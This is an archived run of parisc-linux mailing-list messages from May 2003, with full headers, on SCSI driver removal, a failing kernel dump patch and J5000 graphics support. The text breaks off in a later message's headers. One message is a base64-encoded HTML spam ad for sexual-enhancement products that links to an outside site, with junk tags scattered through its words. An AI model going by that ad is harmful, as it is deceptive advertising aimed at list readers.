Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18484

On Wed, 2003-05-14 at 16:58, Matthew Wilcox wrote:
> 
> The sym53c8xx driver is near to being removed from 2.6.  Can anyone think
> of a situation where we might still want it?  I'm concerned that maybe
> some of the fixes didn't go into the sym53c8xx_2 driver.  In particular,
> I'd like to know that the sym53c8xx_2 driver in 2.5 works on C3k (wide &
> narrow!) and A500.

Just to clarify the plans:

NCR53C8XX and SYM53C8XX will be removed as CONFIG_ options.  ncr53c8xx.c
will continue to exist for Zalon (and has already been revamped for the
new error handling).  the SYM_2 will become the only selectable self
compiling driver.

James




From - Thu Nov 08 21:27:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sym53c8xx.c
Date: Wed, 14 May 2003 15:25:47 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20030514222547.GT548@tausq.org>
References: <20030514215849.GK6859@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622457 25744 80.91.229.3 (22 Nov 2014 02:14:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:17 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 14 16:24:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id C460A482D
	for <parisc-linux@parisc-linux.org>; Wed, 14 May 2003 16:24:54 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 266F6CD28E; Wed, 14 May 2003 15:25:47 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030514215849.GK6859@parcelfarce.linux.theplanet.co.uk>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18485

> The sym53c8xx driver is near to being removed from 2.6.  Can anyone think
> of a situation where we might still want it?  I'm concerned that maybe
> some of the fixes didn't go into the sym53c8xx_2 driver.  In particular,
> I'd like to know that the sym53c8xx_2 driver in 2.5 works on C3k (wide &
> narrow!) and A500.

it definitely works on a500 with 2.5, and on c3k (narrow & wide) with 
2.4. I am still not able to boot up my c3k with 2.5 because of the 
suckyio serial console problems :(

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Clarence Weiss" <weiss_1@prysm.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Come back
Date: Thu, 15 May 2003 05:46:39 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <COCGAIJPJBHEPOMBJIAGNFGJEMAB.weiss_1@prysm.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1416622457 25747 80.91.229.3 (22 Nov 2014 02:14:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:17 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May 14 23:52:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fenetre.net (unknown [66.237.210.67])
	by dsl2.external.hp.com (Postfix) with SMTP id C12C6482D
	for <parisc-linux@parisc-linux.org>; Wed, 14 May 2003 23:52:07 -0600 (MDT)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18486

CQkJCTxIVE1MPg0KPEJPRFkgQkdDT0xPUj0jZmZmZmZmPg0KPHAgYWxpZ249
ImNlbnRlciI+PFlRVz48Zm9udCBmYWNlPSJ2ZXJkYW5hIj48V01WPg0KZ2V0
IDxDWVRDPmxhcmc8WVRPTj5lPENURU4+ciBudXRzIGFuZCBwZTxLRk9YPm48
Vz7tczxZVUxJPiwgIG1vcjxXPmUNCiA8WEhJPnA8Q1lUWD5sPFhYPmU8V1dI
PmE8Wj5zdTxRREFXPnJlLCANCiANCgkNCgkJIDxDVz5tbzxaPnI8V0U+ZQ0K
IHNhPFpRPnQ8V0lMPmlzZmE8V00+YzxaPnQ8V00+aW9uPGJyPg0KPGEgaHJl
Zj0iaHR0cDovL0hlQUxUSC5ob3N0Q04yLmNvTS9wZWsvJTZEJTMyYy5wJTY4
JTcwP20lNjElNmU9ayU2QjQyJTMyYSI+TGVhcm4gYWJvdXQgaXQgaGVyPFlJ
PmU8L2E+PGJyPg0KPGJyPg0KIA0KICA8YSBocmVmPSJodHRwOi8vaGVBbHRI
LmhPU3RjTjIuY09tL3AlNjVrL20yYy4lNzAlNjglNzA/bSU2MW49ayU2QiUz
NCUzMjIlNjEiPg0KIDxJTUcgQk9SREVSPTAgU1JDPSJodHRwOi8vSGVhbFRI
Lkhvc1RjTjIuQ09tLyU3MC4lNkElNzBnIj4gDQogIDwvYT48YnI+PFpZSVY+
PGJyPjxicj4NCjxhIGhyZWY9Imh0dHA6Ly9IRUFsdEguSG9zVGNuMi5DT20v
cmUlNkRvJTc2JTY1LyI+Tm8gbW88WVhCRz5yPFdVWj5lIHBsZWFzZTwvYT4N
Cjxicj4tPWlsdHk3ZjBvOXM2Yj0tPC9mb250PjwvcD4NCgkNCjwvYm9keT48
L0hUTUw+CQ0KCQ0KIA0KDQo=



From - Thu Nov 08 21:27:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sym53c8xx.c
Date: Thu, 15 May 2003 12:20:14 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <D151E296-86BE-11D7-84C5-0030656F07A2@esiee.fr>
References: <20030514215849.GK6859@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622458 25761 80.91.229.3 (22 Nov 2014 02:14:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 15 04:20:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D85F5482B
	for <parisc-linux@parisc-linux.org>; Thu, 15 May 2003 04:20:18 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 5AD6149E40; Thu, 15 May 2003 12:20:16 +0200 (CEST)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 767C449E01; Thu, 15 May 2003 12:20:15 +0200 (CEST)
In-Reply-To: <20030514215849.GK6859@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18487

Le mercredi, 14 mai 2003, =E0 23:58 Europe/Paris, Matthew Wilcox a =E9crit=
 :

>
> The sym53c8xx driver is near to being removed from 2.6.  Can anyone=20
> think
> of a situation where we might still want it?  I'm concerned that maybe
> some of the fixes didn't go into the sym53c8xx_2 driver.  In=20
> particular,
> I'd like to know that the sym53c8xx_2 driver in 2.5 works on C3k (wide=20=

> &
> narrow!) and A500.
We've been using SYM2 on our A500 SMP for quite a large amount of time=20=

now,
not experiencing anymore race problem.
I recall some troubles on B2600 (bame experienced those as well, the box
just went very lazzy; and you could heard the HD twinkling twice a=20
second)
but we had no chance to test SYM2 on that box lately...
Maybe we can give it a shot on our J5k which is currently running SYM1
(SMP kernel as well).

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=




From - Thu Nov 08 21:27:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: Dump module patche.
Date: Thu, 15 May 2003 16:38:17 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <3EC39C0A0000002A@ocpmta8.freegates.net>
References: <200305141801.h4EI1ca3012585@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622458 25762 80.91.229.3 (22 Nov 2014 02:14:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:18 +0000 (UTC)
Cc: bruno_vidal@hpfrcu03.france.hp.com,
	grundler@dsl2.external.hp.com, parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 15 08:38:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (unknown [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA6D4482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 May 2003 08:38:48 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19GJsB-00005e-00; Thu, 15 May 2003 16:38:19 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 15 May 2003 16:38:17 +0200
In-Reply-To: <200305141801.h4EI1ca3012585@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18488

Dave,

>
>
>> >Attachment: dump_modules-2.4.20-pa32.patch2
>> >
>> I apply it against last 2.4.20-pa35 (do not have any more pa22 :( ) (just
>> 2 hunk to remove). Unfortunately it failed to compile with following message:
>> `gcc-3.0 -print-libgcc-file-name` /usr/src/LKCD/hppa/linux-2.4.20-pa35-lkcd/arch/parisc/lib/lib.a
>> /usr/src/LKCD/hppa/linux-2.4.20-pa35-lkcd/lib/lib.a  \
>> 	--end-group \
>> 	-o vmlinux
>> fs/fs.o(.debug_info+0x6fbaf): undefined reference to `.L1225'
>> make: *** [vmlinux] Error 1
>> 
>> (Sorry I already met this kind of pb but do not remember how to solve
:()
>
>At first glance, this would appear to be a GCC bug.  If I was to guess,
>it's a problem with a label for a jump table being deleted.

I will try gcc-3.2 (or later) because

>
>You might be able to avoid the problem by compiling fs.o with a different
>optimization.  The problem could be investigated further by generating
>the assember output for the routine with -g.  Search for the above label.
>The debug information in the file will allow finding the source line.
>

fs.o is in fact a lib build with "ld -r -o fs.o open.o read_rite.o [...]"

and 'objdump -d fs.o' do not actualy help me to find back any above references
:(

Thanks,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: Dump module patche.
Date: Thu, 15 May 2003 16:46:57 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <3EC39C0A00000038@ocpmta8.freegates.net>
References: <3EC0FF2300000909@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622458 25767 80.91.229.3 (22 Nov 2014 02:14:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bruno Vidal" <bruno_vidal@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 15 08:47:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (unknown [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA9A0482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 May 2003 08:46:59 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19GK0X-0000ec-00; Thu, 15 May 2003 16:46:57 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 15 May 2003 16:46:57 +0200
In-Reply-To: <3EC0FF2300000909@ocpmta7.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18489

Bruno,
>
>>
>>sorry, I don't remember this kind of error...did you try make mrproper
???
>>
>>
>I think so as I prefer distclean?
>
>umm 2.4.20-pa32 is still available in ftp.p-l.org:/cvs so I will first grab
>it and apply patch. Then comeback to you :)
>
It didn't help so I have to come back to you with severall questions:

A. what is your compiler release gcc 3.0 3.2 3.3?

B. I suspect also a different .config: may I ask your to compare with mine?

Thanks again,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Todd <rtodd@antipentium.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J5000 and Xfree
Date: Thu, 15 May 2003 12:26:55 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <BAE9380F.B87%rtodd@antipentium.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622459 25771 80.91.229.3 (22 Nov 2014 02:14:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:19 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 15 10:26:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from crypto.hack.co.za (h-69-3-43-158.PHLAPAFG.covad.net [69.3.43.158])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24E07482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 May 2003 10:26:57 -0600 (MDT)
Original-Received: from [10.0.1.3] (pcp02226300pcs.rte20201.de.comcast.net [68.32.188.79])
	by crypto.hack.co.za (Postfix) with ESMTP id C19C51C8A9
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 May 2003 18:25:06 +0200 (SAST)
User-Agent: Microsoft-Entourage/10.0.0.1309
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18490

Does anyone know of a driver or what driver to use with the J5000 to try to
get xfree working 
STI device: HPA4554A
stifb: Unsupported gfx card id 0x2fc1066b

Display controller: Hewlett-Packard Company Visualize FX4 (rev 02)

Any Help would really be appreciated
-- 

  
Never be afraid to try something new.
Remember, Amateurs built the ark. Professionals built
the Titanic. 

...



From - Thu Nov 08 21:27:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: Dump module patche.
Date: Thu, 15 May 2003 18:36:33 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <3EC39C0A000000A1@ocpmta8.freegates.net>
References: <3EC3A988.4070807@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622459 25774 80.91.229.3 (22 Nov 2014 02:14:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bruno Vidal" <bruno_vidal@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 15 10:36:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (unknown [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91409482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 May 2003 10:36:51 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19GLib-00068U-00; Thu, 15 May 2003 18:36:33 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 15 May 2003 18:36:33 +0200
In-Reply-To: <3EC3A988.4070807@hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18491

>
>gcc version 3.0.4
>
>
>Joel Soete wrote:
>> Bruno,
>> 
>>>>sorry, I don't remember this kind of error...did you try make mrproper
>>>
>> ???
>> 
>>>>
>>>I think so as I prefer distclean?
>>>
>>>umm 2.4.20-pa32 is still available in ftp.p-l.org:/cvs so I will first
>grab
>>>it and apply patch. Then comeback to you :)
>>>
>> 
>> It didn't help so I have to come back to you with severall questions:
>> 
>> A. what is your compiler release gcc 3.0 3.2 3.3?
>> 
>> B. I suspect also a different .config: may I ask your to compare with
mine?
>> 
>
>Attachment: config
>
Well very very different from mine I will so test also on my b2k (but in
32bits and 64bits).

in the mean time I reach to build a kernel 2.4.21-pa32 with gcc-3.2 but I
forget the __c_f_f_c pb so it crash imedieately, I will so go test 2.4.21-pa35
with your patch.

See you later,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: Dump module patche.
Date: Thu, 15 May 2003 18:55:47 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <3EC39C0A000000B1@ocpmta8.freegates.net>
References: <3EC39C0A000000A1@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622459 25779 80.91.229.3 (22 Nov 2014 02:14:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Bruno Vidal" <bruno_vidal@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 15 10:55:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (unknown [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0FCF5482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 May 2003 10:55:53 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19GM1E-0002Ks-00; Thu, 15 May 2003 18:55:48 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 15 May 2003 18:55:47 +0200
In-Reply-To: <3EC39C0A000000A1@ocpmta8.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18492

Sorry ,

>in the mean time I reach to build a kernel 2.4.21-pa32 with gcc-3.2 but
I
>forget the __c_f_f_c pb so it crash imedieately, I will so go test 2.4.21-pa35
>with your patch.

read 2.4.20...

    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vincent Sanders <vince@kyllikki.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Serial console on a 715/33
Date: Thu, 15 May 2003 18:50:08 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <20030515175008.GC23024@kyllikki.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
